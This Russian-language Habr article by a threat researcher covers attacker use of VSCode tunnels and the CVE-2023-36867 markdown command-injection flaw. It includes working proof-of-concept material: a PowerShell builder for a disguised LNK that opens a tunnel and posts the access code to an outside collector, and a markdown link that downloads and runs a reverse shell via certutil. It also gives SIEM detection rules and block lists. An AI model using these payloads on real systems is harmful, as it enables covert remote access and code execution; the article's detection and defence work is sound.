VSCode — идеальный инструмент для хакера

Привет, Хабр!

В прошлой статье мы уже разобрали устройство редактора кода VSCode и его особенности. Сегодня хочу рассказать про еще одну уязвимость в расширении, связанном с GitHub, рассмотреть функцию «туннелирование» в VSCode и варианты использования ее атакующими. После посмотрим, что можно сделать для детектирования подобных действий с помощью R-Vision SIEM.

Начнем с функционала туннелирования, который в «стабильном» варианте появился в версии 1.74. Функция позволяет удаленно управлять хостом, используя серверы Microsoft. Для запуска туннеля даже не обязательно устанавливать VSCode, достаточно только серверного компонента приложения VS Code Server. Конечно, это заинтересовало атакующих, и они стали использовать этот метод в своих целях.

c180fb1e62761667cc45e239d4556d32.png

Туннелирование в VSCode

Как работает туннель?

Чтобы создать туннель можно воспользоваться установленным VSCode или, если необходимо, обратиться к CLI-версии — подписанному Microsoft двоичному файлу code. exe. Загрузить его можно с официального сайта по ссылке.

Расширение Visual Studio Code Remote — Tunnels позволяет безопасно подключаться к удаленным машинам без необходимости открывать SSH-порт или разрешать соединение по 22-му порту. Для передачи данных используются сетевые туннели SSH-over-HTTPS, принадлежащие Microsoft. Это также позволяет скрыть IP-адреса атакующих.

Как выглядит подключение атакующего к машине жертвы:

Схема подключения к удаленной машине с туннелем VSCode

Схема подключения к удаленной машине с туннелем VSCode

На схеме слева мы видим удалённый узел атакующего, с которого он подключается к туннелю, установленному на серверах Microsoft. Таким образом, эти серверы становятся промежуточным звеном в процессе атаки. Атакующий может использовать на своей машине установленный VSCode с расширением Remote Tunnels или веб-интерфейс vscode.dev. Справа находится удалённый компьютер жертвы, на котором работает серверный компонент VSCode, а также открытый туннель. Все команды выполняются именно на этом компьютере.

Туннелирование работает через серверный компонент VSCode, который использует WSL для установки соединения с сервером Microsoft, применяя шифрование трафика. Поэтому нет необходимости отдельно устанавливать OpenSSH, открывать порты и что-либо дополнительно настраивать на локальном хосте.

Установка туннеля

Microsoft разработали консольную версию VSCode. Это подписанный двоичный файл code.exe, который может установить туннелированный канал управления и контроля через официальный домен Microsoft https://vscode.dev. При этом для его работы не требуется устанавливать само приложение VSCode на компьютер. Также portable версия частично поддерживает proxy, но об этом чуть позже. Связь с C&C сервером осуществляется через получение конфигурации от адреса https://global.rel.tunnels.api.visualstudio.com через WebSockets. Для создания туннеля атакующему нужна любая активная учетная запись Github.

Поскольку двоичный файл подписан Microsoft, то не нужно беспокоиться о Mark-of-the-Web, так как он будет проигнорирован, а также это позволит обойти Smartscreen. В сочетании с некоторыми действиями, которые будут рассмотрены позже, возможно обойти Applocker и ограниченный языковой режим Powershell если они настроены по умолчанию.

Итак, начнем. Для создания туннеля нужно ввести команду:

code tunnel --name <название_туннеля>

Если использовать CLI-версию, то запускаем исполняемый файл code.exe и вводим команду.

Пример вывода в консоли кода для авторизации устройства:

Вывод консоли PowerShell при создании туннеля

Вывод консоли PowerShell при создании туннеля

Код, указанный в последней строке, необходимо ввести на ресурсе для привязки устройств к аккаунту GitHub. После чего в консоли появится прямая ссылка для подключения, или можно воспользоваться вкладкой Remote Explorer на сайте VSCode dev и выбрать нужный активный туннель:

Меню Remote Explorer

Меню Remote Explorer

Можно просматривать директории или открыть полноценный терминал, например, PowerShell. Можно также устанавливать расширения на удаленную машину и, к примеру, запускать скрипты на Python если он установлен.

Но как атакующий может это использовать, чтобы получить доступ к чужой машине?
Например, он может замаскировать исполнение команд для создания туннеля под LNK-файл с произвольной иконкой, и при попытке его открыть на машине будет создан туннель. Осталось только применить социальную инженерию и убедить пользователя загрузить и открыть файл.

Как это выглядит на практике.
Сгенерировать подходящий LNK-файл можно с помощью команд в PowerShell:

# Путь до исполняемого файла
$exePath = "$env:windir\System32\WindowsPowerShell\v1.0\powershell.exe" 
# Загрузка code.exe с удаленного ресурса, создание туннеля с выводом в файл и отправка этого файла POST запросом на наш адрес
$pay = 'cd C:\temp; iwr -uri https://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip -OutFile vscode.zip; Expand-Archive vscode.zip; cd vscode; .\code.exe tunnel user logout; Start-Sleep 3; Start-Process -FilePath .\code.exe -ArgumentList "tunnel","--name","legittunnel1" -RedirectStandardOutput .\output.txt -NoNewWindow; Start-Sleep 3; iwr -uri "efx4bwm39ofw0orxuluvfuj6cxip6gu5.oastify.com" -Method Post -Body (Get-Content .\output.txt)' 
# Запуск через PowerShell команд из переменной $pay без отобраения окна процесса
$arguments = " -nop -WindowStyle hidden -c $pay"
# Имя созданной иконки
$LNKName = "Otchet2" 
# Вызов WScript для создания LNK файла
$obj = New-Object -ComObject WScript.Shell 
$link = $obj.CreateShortcut((Get-Location).Path + "\" + $LNKName + ".lnk")
# Запуск свернутого окна
$link.WindowStyle = '7' 
# Указывает что запустить при нажатии на LNK
$link.TargetPath = $exePath 
# Иконка PDF
$link.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13" 
# Аргументы для исполняемого файла
$link.Arguments = $arguments
$link.Save()

Один из возможных алгоритмов внедрения такой:

  1. скачивание CLI версии VSCode;

  2. создание туннеля, но вывод VSCode направляется в отдельный файл;

  3. отправление файла в POST запросе на сервер атакующего;

  4. введение полученного кода на ресурсе https://github.com/login/device;

  5. подключение к туннелю через https://vscode.dev/.

Пример как выглядит открытие LNK файла и подключение к машине:

Пример работы POC

Пример работы POC

В последних версиях VSCode, начиная с 1.90, перед подключением к сети появляется дополнительный запрос на выбор провайдера туннеля. Это может быть учётная запись GitHub или Microsoft. Из-за этого представленный POC не будет работать, так как выбор провайдера требует интерактивного ввода.

Кроме того, при запуске CLI-версии VSCode в виде нового процесса не происходит автоматического подключения к системному прокси-серверу. Соединение устанавливается напрямую с серверами. При этом отсутствует возможность указать прокси-сервер в качестве параметра команды при создании туннеля.

Логика детектирование

Есть два способа детектировать создание туннеля. 

Первый — проанализировать события в журнале Security. Однако этот метод не всегда дает точный результат, поскольку локальный сервер может быть создан не всегда, а команда для создания туннеля может быть обфусцирована. 

Второй вариант — отслеживать событие фактического подключения к туннелю, а именно событие из журнала Security 4688: A new process has been created. Этот метод мы и будем применять. 

Выглядит оно следующим образом:

Событие соединения с туннелем в интерфейсе R-Vision SIEM

Событие соединения с туннелем в интерфейсе R-Vision SIEM

Нас интересуют поля, выделенные красным. Это родительский и дочерний процесс node.exe и характерный ключ type=extensionHost в исполненной команде — поле cmd.

Ключ указывает на то, что в ходе сессии будут задействованы расширения, установленные на удалённом компьютере. Также можно использовать события из журнала Sysmon Event ID 1: Process creation. Поля и значения в этих событиях будут аналогичными тем, что указаны выше.

Если у нас установлен Sysmon, мы можем отслеживать запросы к домену Microsoft, которые связаны с туннелированием. Это событие Sysmon 22: DNSEvent (DNS query):

Событие запроса домена euw-data.rel.tunnels.api.visualstudio.com для конфигурации туннеля

Событие запроса домена euw-data.rel.tunnels.api.visualstudio.com для конфигурации туннеля

Здесь нам интересен запрашиваемый домен tunnels.api.visualstudio.com, который указан в поле cs1.

Под спойлером представлено правило детектирования для Windows, написанное на языке R-Object в R-Vision SIEM. Правило детектирует запросы домена Microsoft для создания туннеля и события соединения с туннелем при запуске процесса "node.exe".

Удаленное подключение к узлу через туннелирование в VSCode

id: 7b960a74-34fa-4fde-adf5-6bde61d60167
name: Удаленное подключение к узлу через туннелирование в VSCode
version: 1.0.0
date: 2024-06-18
author: Vladislav Kormishkin, R-Vision
status: stable

type: correlation_rule
severity: high
description: Правило срабатывает при установлении соединения с сервером для удаленного управления узлом с помощью функции редактора кода VSCode для использования туннелей - ключ "tunnel" в командной строке. Правило также обнаруживает запросы доменов Microsoft, которые нужны для первичной конфигурации сервера - запроса доступных кластеров.

reference:
  - https://badoption.eu/blog/2023/01/31/code_c2.html

tags:
  - Execution
  - attack.T1204
  - attack.T1204.001
  - attack.T1059

data_source:
  - Windows
  - Security
    - EventID_4688
  - Sysmon_Operational
    - EventID_1
    - EventID_22

known_false_positives:
  - "Легитимное использование удаленного управления узлом с помощью VSCode"

group_by:
  - dvchost

filter: !vrl |
  .dvendor == "Microsoft" &&
  includes(["1", "4688", "22"], .externalId)

aliases:
  event_code:
    filter: !vrl |
      flag = false
      if includes(["1", "4688"], .externalId) {
            oldFileName = downcase(to_string(.oldFileName) ?? "-")
            dproc = downcase(to_string(.dproc) ?? "-")
            sproc = downcase(to_string(.sproc) ?? "-")
            cmd = downcase(to_string(.cmd) ?? "-")
            if (ends_with(dproc, "\\node.exe") ||
                oldFileName == "node.exe") &&
                 contains(dproc, "vscode") &&
                 ends_with(sproc, "\\node.exe") &&
                    contains(cmd, "\\server\\\\out\\\\bootstrap-fork") && 
                    contains(cmd, "type=extensionhost") {
                    flag = true 
                }
      }

      if .externalId == "22" {
            cs1 = downcase(to_string(.cs1) ?? "-")
            if contains(cs1, ".tunnels.api.visualstudio.com") ||
               contains(cs1, ".devtunnels.ms") {
                flag = true 
            }
      }

      flag
  
select:
    alias: event_code

ttl: 1

on_correlate: !vrl |
    .dvendor = to_string(%event_code.dvendor) ?? "-"
    .dhost = to_string(%event_code.dhost) ?? "-"
    .dproc = to_string(%event_code.dproc) ?? "-"
    .dvchost = to_string(%event_code.dvchost) ?? "-"
    .duser = to_string(%event_code.duser) ?? "-"
    .suser = to_string(%event_code.suser) ?? "-"
    .sntdom = to_string(%event_code.sntdom) ?? "-"
    .sproc = to_string(%event_code.sproc) ?? "-"
    .oldFileName = to_string(%event_code.oldFileName) ?? "-"
    .dntdom = to_string(%event_code.dntdom) ?? "-"
    .cmd = to_string(%event_code.cmd) ?? "-"
    .sourceServiceName = to_string(%event_code.sourceServiceName) ?? "-"
    .cs4 = to_string(%event_code.cs4) ?? "-"
    .cs1 = to_string(%event_code.cs1) ?? "-"

    externalId = to_string(%event_code.externalId) ?? "-"

    if externalId == "22" {
            .msg = "На узле " + .dvchost + " пользователем " + .suser + " домена " + .sntdom + " обнаружен запрос адреса для удаленного управления узлом с помощью редактора кода VSCode, процесс инициатор " + .dproc + ", запрошенные адреса: " + .cs1
    } else if includes(["1", "4688"], externalId) { 
            .msg = "На узле " + .dvchost + " пользователем " + .suser + " домена " + .sntdom + " запущен сервер для удаленного управления узлом с помощью редактора кода VSCode и процесса " + .sproc + ", выполненная команда: " + .cmd
    }

Рекомендации по защите

Чтобы предотвратить создание туннелей, выполните следующие действия:

  1. Заблокируйте домены на межсетевом экране, которые участвуют в формировании туннеля.

*.tunnels.api.visualstudio.com
*.devtunnels.ms

Все домены из документации Microsoft:

Dev Tunnels:
  - global.rel.tunnels.api.visualstudio.com
  - [clusterId].rel.tunnels.api.visualstudio.com
  - [clusterId]-data.rel.tunnels.api.visualstudio.com
  - *.[clusterId].devtunnels.ms
  - *.devtunnels.ms
  1. Настройте групповые политики для ограничения создания туннелей.
    На сайте Microsoft можно найти подробную информацию о том, как это сделать. Однако следует учесть, что политики не будут действовать, если версия Visual Studio Code (VSCode) старше 1.88.0. Более ранние версии не поддерживают групповые политики. Тем не менее, атакующие могут использовать более старые версии.

Групповые политики для ограничения создания туннелей3. Используйте Proxy для пропуска трафика во внешнюю сеть, это усложнит задачу построения туннеля если VSCode CLI будет запускаться как отдельный процесс.

Групповые политики для ограничения создания туннелей

  1. Используйте Proxy для пропуска трафика во внешнюю сеть, это усложнит задачу построения туннеля если VSCode CLI будет запускаться как отдельный процесс.

  2. Применяйте правила детектирования в SIEM.

GitHub Pull Requests and Issues

Как работает уязвимость

Теперь рассмотрим ещё одну уязвимость в расширениях для VSCode. На этот раз речь идёт о CVE-2023–36867 для GitHub Pull Requests and Issues.

Хотя процесс эксплуатации и сама уязвимость могут показаться простыми, смогли бы мы обнаружить её эксплуатацию в системе?

Расширение, разработанное GitHub, позволяет пользователям управлять Issues и Pull requests своих проектов прямо из IDE VSCode. В функционал входит просмотр описаний Issues с использованием markdown для форматирования текста.

Атакующие могут использовать это расширение, создавая задачу GitHub с блоком кода markdown, содержащим ссылку с командой:

# [Click here](command:workbench.extensions.installExtension?["pspaul.pop-a-calc",{"donotSync":true}]) 

Установка потенциально вредоносного расширения:

Демонстрация установки расширения pop-a-calc

Демонстрация установки расширения pop-a-calc

При нажатии на ссылку будет установлено расширение pspaul.pop-a-calc для VSCode. В этом случае это безобидное расширение, которое запускает калькулятор при каждом запуске VSCode.

Однако, как мы уже узнали из предыдущей статьи, ничто не мешает загрузить в магазин вредоносное расширение.

Аналогично можно выполнить любую команду в Windows. В качестве примера рассмотрим вызов калькулятора:

# [Open Calculator](command:workbench.action.terminal.new?{"config":{"executable":"calc"}})

В веб-интерфейсе GitHub команда будет отображаться следующим образом:

Раздел Issues на Github

Раздел Issues на Github

Расширение GitHub Pull Requests and Issues при отображении окна использует рендеринг текста и отображает ссылку внутри markdown. Так это выглядит для пользователя:

Отображение созданного Issues в расширении GitHub Pull Requests and Issues

Отображение созданного Issues в расширении GitHub Pull Requests and Issues

Когда жертва просматривает проблему с помощью расширения VSCode и нажимает на ссылку, на её устройстве устанавливается и запускается расширение, контролируемое атакующим. Последствием этой уязвимости можно считать удаленное выполнение кода, поскольку атакующие могут создать Issues в GitHub или pull request, не требуя от жертвы загрузки или открытия вредоносных файлов.

Запуск калькулятора через внутренний функционал команд VSCode:

Демонстрация запуска калькулятора

Демонстрация запуска калькулятора

Загрузка reverse-shell на примере следующих данных в Issues:

# [View](command:workbench.action.terminal.new?{"config":{"executable":"cmd","args":["/c","certutil","-urlcache","-f","http://10.150.50.103:8081/g","%tmp%/g.exe","&","start","/b","%tmp%/g.exe"]}})

Демонстрация установки reverse-shell соединения

Демонстрация установки reverse-shell соединения

Для отображения текста в виде ссылки в расширении существует ограничение на количество символов — оно не должно превышать 200. Это может усложнить атакующим реализацию исполнения в системе длинных команд. Поэтому в представленном PoC использовали минимальное количество команд и ключей, необходимых для достижения цели.

Детектирование

Рассмотрим события, которые генерируются при нажатии на ссылку, на примере следующей команды запуска revers-shell:

# [View](command:workbench.action.terminal.new?{"config":{"executable":"cmd","args":["/c","certutil","-urlcache","-f","http://10.150.50.103:8081/g","%tmp%/g.exe","&","start","/b","%tmp%/g.exe"]}})

Первое событие это запуск командной строки в журнале Security с EventID 4688: A new process has been created):

Запуск командной строки от VSCode

Запуск командной строки от VSCode

Рассмотрим изображение выше. Здесь нас интересует запуск процесса cmd.exe (выделен желтым цветом) как дочернего процесса VSCode (зеленый цвет) с выполнением произвольной команды (красный цвет).

Вся цепочка запущенных процессов отображена на следующем скриншоте (события из журнала Security с EventID 4688: A new process has been created). Остальные события, кроме запуска cmd.exe, нас мало интересуют, так как заранее мы не знаем, что именно будет записано в PoC.

Цепочка событий при эксплуатации CVE-2023-36867

Цепочка событий при эксплуатации CVE-2023–36867

Среди цепочки событий запуска процесса нас интересует поле cmd (красный), где происходит запуск командной строки cmd, и поле sproc (зеленый), где указан родительский процесс VSCode.

Схематично это будет выглядеть так:

code.exe -> cmd.exe -> certutil.exe -> cmd.exe -> g.exe

Но это конкретный кейс, поэтому для нас ключевым индикатором будет запуск командной строки или PowerShell от VSCode. Чтобы снизить количество ложных срабатываний, необходимо исключить из правила легитимные запуски командной строки cmd и PowerShell. Исключения сделаны для:

  1. Запуска cmd.exe без исполнения дополнительных команд.

  2. Запуск wsl.exe с ключом -l для перечисления дистрибутивов в системе.

  3. Запуск cmd.exe с выводом сообщения «echo ok».

  4. Powershell.exe с запуском скрипта для интеграции с VSCode shellintegration.ps1.

  5. И запуск Powershell.exe с командой -noexit -command "try { ., данное событие часто генерируется при работе VSCode.

Если в Issues будет указан запуск утилиты или исполняемый файл VSCode будет переименован, то необходимо использовать правила, нацеленные на обнаружение подозрительной активности на узле. Например, запуск утилиты curl или командлета Invoke-WebRequest. Файл VSCode CLI даже не имеет метаданных приложения (спасибо Microsoft), из-за этого мы не сможем определить, что был запущен исходный файл по событиям Sysmon 1: Process creation, где пишутся эти метаданные:

Пустые метаданные приложения VSCode CLI

Пустые метаданные приложения VSCode CLI

При этом метод с установкой расширения не отличается от установки его пользователем, поэтому здесь можно использовать те же правила на использование различных утилит для загрузки файлов на хост.

Под спойлером представлено правило детектирования для Windows, написанное на языке R-Object в R-Vision SIEM. В данном правиле мы отслеживаем запуск командной строки или PowerShell с родительским процессом code.exe, исключая случаи стандартного запуска:

Выполнение команд в системе от редактора кода VSCode

id: 37ffcb14-f594-462a-a319-dcd541a6007a
name: Выполнение команд в системе от редактора кода VSCode
version: 1.0.0
date: 2024-06-24
author: Vladislav Kormishkin, R-Vision
status: stable

type: correlation_rule
severity: high
description: Правило срабатывает при запуске командной оболочки cmd или PowerShell от процесса редактора кода VSCode. Данное поведение может указывать на эксплуатацию уязвимости CVE-2023-36867 в расширении GitHub Pull Requests and Issues, связанной с недостаточной обработкой файла типа Markdown, что может привести к исполнению команд на удаленном узле. При срабатывании правила рекомендуется проверить, что за команды выполнялись, какие создавались дочерние процессы. В случае обнаружения исполнения подозрительных команд, например, загрузки файлов с удаленных ресурсов, необходимо изолировать хост в сети, заблокировать ресурс, с которого была обнаружена попытка загрузки файла, провести внутренне расследование инцидента. Рекомендации - своевременно обновлять редактор кода VSCode и все установленные расширения, не отключать автобновления для приложения и расширений, не устанавливать незнакомые/подозрительные расширения из магазина.

reference:
  - https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions/

tags:
  - Execution
  - attack.T1204
  - attack.T1204.001
  - attack.T1059

data_source:
  - Windows
  - Security
    - EventID_4688
  - Sysmon_Operational
    - EventID_1

known_false_positives:
  - "Пока неизвестно"

group_by:
  - dvchost

filter: !vrl |
  .dvendor == "Microsoft" &&
  includes(["1", "4688"], .externalId)

aliases:
  event_code:
    filter: !vrl |
      flag = false

            dproc = downcase(to_string(.dproc) ?? "-")
            sproc = downcase(to_string(.sproc) ?? "-")
            oldFileName = downcase(to_string(.oldFileName) ?? "-")
            cmd = downcase(to_string(.cmd) ?? "-")

            if ends_with(sproc, "\\code.exe") &&
                  (((ends_with(dproc, "\\cmd.exe") ||
                       oldFileName == "cmd.exe") &&
                           !contains(cmd, "\"cmd\" /c \"echo ok\"") && # перечислены исключения для cmd при стандартном запуске терминала
                           !contains(cmd, "/d /s /c \\\"wsl.exe -l -q\\\"") && # запуск WSL при работе приложения
                           !ends_with(cmd, ":\\\\windows\\\\system32\\\\cmd.exe")) || # Запуск cmd без исполнения команд

                  ((ends_with(dproc, "\\powershell.exe") ||
                   oldFileName == "powershell.exe") &&
                   !contains(cmd, ":\\\\windows\\\\system32\\\\windowpowershell\\\\v1.0\\\\powershell.exe -noexit -command \\\"try { . \\") && # исключения для powershell при стандартном запуске терминала
                   !contains(cmd, "\\\\resources\\\\app\\\\out\\\\vs\\\\workbench\\\\contrib\\\\terminal\\\\browser\\\\media\\\\shellintegration.ps1"))) { # Запуск скрипта интеграции VSCode с PowerShell
                      flag = true 
                   }


      flag
  
select:
    alias: event_code

ttl: 1

on_correlate: !vrl |
    .dvendor = to_string(%event_code.dvendor) ?? "-"
    .dhost = to_string(%event_code.dhost) ?? "-"
    .dproc = to_string(%event_code.dproc) ?? "-"
    .dvchost = to_string(%event_code.dvchost) ?? "-"
    .duser = to_string(%event_code.duser) ?? "-"
    .suser = to_string(%event_code.suser) ?? "-"
    .sntdom = to_string(%event_code.sntdom) ?? "-"
    .sproc = to_string(%event_code.sproc) ?? "-"
    .oldFileName = to_string(%event_code.oldFileName) ?? "-"
    .dntdom = to_string(%event_code.dntdom) ?? "-"
    .cmd = to_string(%event_code.cmd) ?? "-"

    .msg = "На узле " + .dvchost + " пользователем " + .suser + " домена " + .sntdom + " от редактора кода VSCode запущена команда: " + .cmd + ", данное поведение может указывать на эксплуатацию уязвимости CVE-2023-36867 или другой уязвимости с возможностью исполнения команд"

Исправление уязвимости

В расширении присутствует функция преобразования контента в plain-текст:

Фрагмент кода для преобразования markdown в обычный текст

Фрагмент кода для преобразования markdown в обычный текст

Но проблема в том, что если преобразованный текст содержит форматирование Markdown, то он все равно будет визуализирован в VSCode.

GitHub устранил уязвимость в своем расширении в версии 0.66.2, убрав свойство isTrusted для созданных строк markdown. Проверка через API функцию isTrusted в файле src/issues/util.ts позволяла считать все строки markdown доверенными.

isTrusted используется в расширениях со значением limited, что позволяет реализовать работу отдельных функций расширения в недоверенной среде (подробнее в документации). Проверка markdown-строк в версии до 0.66.2:

const markdown: vscode.MarkdownString = new vscode.MarkdownString(undefined, true); 
	markdown.isTrusted = true;

В версиях начиная с 0.66.2 с помощью ссылок в markdown не получится выполнить команды в VSCode.

Вместо значения isTrusted была добавлена проверка на supportHtml для поддержки html формата в Issues label, измененная функция выглядит так:

const markdown: vscode.MarkdownString = new vscode.MarkdownString(undefined, true);
	markdown.supportHtml = true;

Однако такой способ устранения уязвимости не позволит разработчикам использовать команды-ссылки. Если вам действительно необходимо применять их в Markdown, вы можете установить для свойства isTrusted список разрешенных команд. Это поможет предотвратить использование атакующими произвольных команд в случае, если они найдут способ внедрить код в Markdown. Более подробную информацию по этому вопросу можно найти в документации VSCode.

Чтобы избежать внедрения Markdown, всегда проверяйте, очищайте или экранируйте данные перед их использованием для создания Markdown. В VSCode вы можете воспользоваться классом MarkdownString, который предлагает функцию AppendTextдля правильной обработки необработанного текста перед его добавлением.

Заключение

Сегодня мы рассмотрели еще одну уязвимость в расширениях для VSCode, которая позволяет выполнять команды на удаленной машине. Мы изучили последовательность событий, возникающих при использовании этой уязвимости, и предложили правило для Windows, основанное на нетипичном выполнении команд через командную строку или PowerShell.

Также мы рассмотрели туннелирование как удобный инструмент для разработки, который может быть использован атакующими для сокрытия своих действий за легитимным ПО и трафиком Microsoft. Учитывая, что многие данные передаются на сервера Microsoft, это становится особенно опасным.

Мы предлагаем несколько способов, которые помогут ограничить использование туннелей. К ним относятся настройка сетевых параметров и создание правила для обнаружения подозрительной активности.

Кроме того, вы можете использовать R-Vision SIEM для выявления таких действий. Правило сработает, когда будет успешно установлено соединение с удалённым сервером или когда будут выполнены запросы к известным DNS-серверам Microsoft, которые используются для туннелирования трафика. Это позволит своевременно обнаружить и предотвратить возможные угрозы.

В заключение, мы выделили две рекомендации:

  • Не отключайте автообновление расширений.

  • Не переходите по ссылкам в Issues, если вы точно не знаете, что внутри них.

Эти меры помогут повысить безопасность вашей среды разработки и снизить риск атак, связанных с уязвимостями и туннелированием.

Автор: Владислав Кормишкин (@Watislove), аналитик-исследователь угроз кибербезопасности R-Vision.

© Habrahabr.ru